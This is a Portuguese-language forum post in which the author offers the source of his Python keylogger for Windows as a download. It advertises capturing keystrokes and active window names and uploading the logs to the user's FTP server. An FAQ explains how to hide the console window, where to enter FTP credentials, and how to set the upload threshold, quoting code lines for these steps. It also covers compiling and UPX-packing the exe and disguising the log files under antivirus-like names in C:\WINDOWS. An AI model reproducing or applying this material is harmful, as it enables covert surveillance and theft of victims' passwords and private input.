Olá, hoje acordei com bom humor, então pensei:
- Vou postar o SOURCE do Keylogger
- Más tenho que achar um fórum de responsa, para Ñ ESPALHAREM o código por outros fóruns VAGA...
Obs.: Esse source fui EU que CODEI!.
Obs.: Testei apenas no WinXP SP2.
Obs.: Essa versão é a 0.3 (atualmente to na versão 1.0.4 com interface em wxPython).
Prós: [> Envia para o FTP!.
[> Os logg pode ser visto em qualquer PC pela sua WebPage (na versão 1.0.4 configurada para CEL).
[> O Keylogger pega o NOME das JANELAS ativas.
[> Ñ é pesado, Ñ usa 50% da CPU.
Contras: [> A vitima ñ consegue colocar acento nas letra (Devido a API pyHook).
[> Tamanho grande: + / - 1.9mb (.exe).
Link: http://www.mediafire.com/?zitoujmqzyt (http://www.mediafire.com/?zitoujmqzyt)Sessão de fotos: Tela Inicial: Uso de CPU: Logg:
(http://i.imagehost.org/t/0739/screen0.jpg) (http://i.imagehost.org/view/0739/screen0) (http://i.imagehost.org/t/0054/screen1.jpg) (http://i.imagehost.org/view/0054/screen1) (http://i.imagehost.org/t/0361/screen2.jpg) (http://i.imagehost.org/view/0361/screen2)
FAQ.:P: Aff -.- ; Source ñ funciona!
R: Para o Keylogger FunFa precisa:
Python 2.6 [> http://downloads.activestate.com/ActivePython/windows/2.6/ActivePython-2.6.4.8-win32-x86.msi (http://downloads.activestate.com/ActivePython/windows/2.6/ActivePython-2.6.4.8-win32-x86.msi) <] 32mb
WConio [> http://newcenturycomputers.net/projects/download.cgi/WConio-1.5.1.win32-py2.6.exe (http://newcenturycomputers.net/projects/download.cgi/WConio-1.5.1.win32-py2.6.exe) <] 80kb
pyWin32 [> http://ufpr.dl.sourceforge.net/project/pywin32/pywin32/Build%20214/pywin32-214.win32-py2.6.exe (http://ufpr.dl.sourceforge.net/project/pywin32/pywin32/Build%20214/pywin32-214.win32-py2.6.exe) <] 6mb
pyHook [> http://ufpr.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2.6.exe (http://ufpr.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2.6.exe) <] 200kb
py2exe [> http://ufpr.dl.sourceforge.net/project/py2exe/py2exe/0.6.9/py2exe-0.6.9.win32-py2.6.exe (http://ufpr.dl.sourceforge.net/project/py2exe/py2exe/0.6.9/py2exe-0.6.9.win32-py2.6.exe) <] 200kb
UPX [> http://upx.sourceforge.net/download/upx304w.zip <] 300kb OBS.: (Jogar os arquivos dentro da pasta C:\WINDOWS\)
P: Más Rush3D, como eu deixo ele invizivel?
R: No arquivo 'main.py' delete o '#' das seguintes linhas:
#win = win32console.GetConsoleWindow()
#win32gui.ShowWindow(win, 0)
Ficando assim:
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
P: Más Rush3D, como eu configuro para ele envia para o meu FTP?
R: No arquivo '_strings_error.py', no final do arquivo tem 3 variável: FTP_HOST, FTP_LOGIN, FTP_PASS.
Coloque entre os ' ' os seus dados.
P: Más Rush3D, como eu configuro o tamanho do arquivo para ele enviar para o FTP?
R: Eu fiz o Keylogger para enviar o arquivo quando ele atingir uma quantidade especifica de CARACTERES no Logg.
P: Más..., aonde eu configuro a quantidade?
R: No arquivo '_grava_logg.py', no final do arquivo tem um IF:
if len(fread) >= 70000: <- Modificar esse numero (70000). 70000 caracteres + / - 68kb.
shutil.copy2(LOGG,LOGG_FTP)
os.remove(LOGG)
CriaLogg()
P: Como eu gero o .exe?
R: Se você instalo certinho tudo o que eu dice lá em cima, na pasta 'utils' do source code tem 1 arquivo em lot '.bat' que:
Compila.
Passar o UPX (para diminuir o tamanho).
E copia os periféricos.
P: Aonde fica os Logg Rush3D?
R: C:\WINDOWS\
R: Nome: avgnt,avgntk,avgntw,avgntf
R: Exte: *.nls
R: Você pode mudar o diretorio no arquivo '_logg_path.py'
Qualquer coisa posta aki, e quem gosto levanta o dedo _|_ ;pCreditos: Python Dev, ... blah blah ..., Rush3D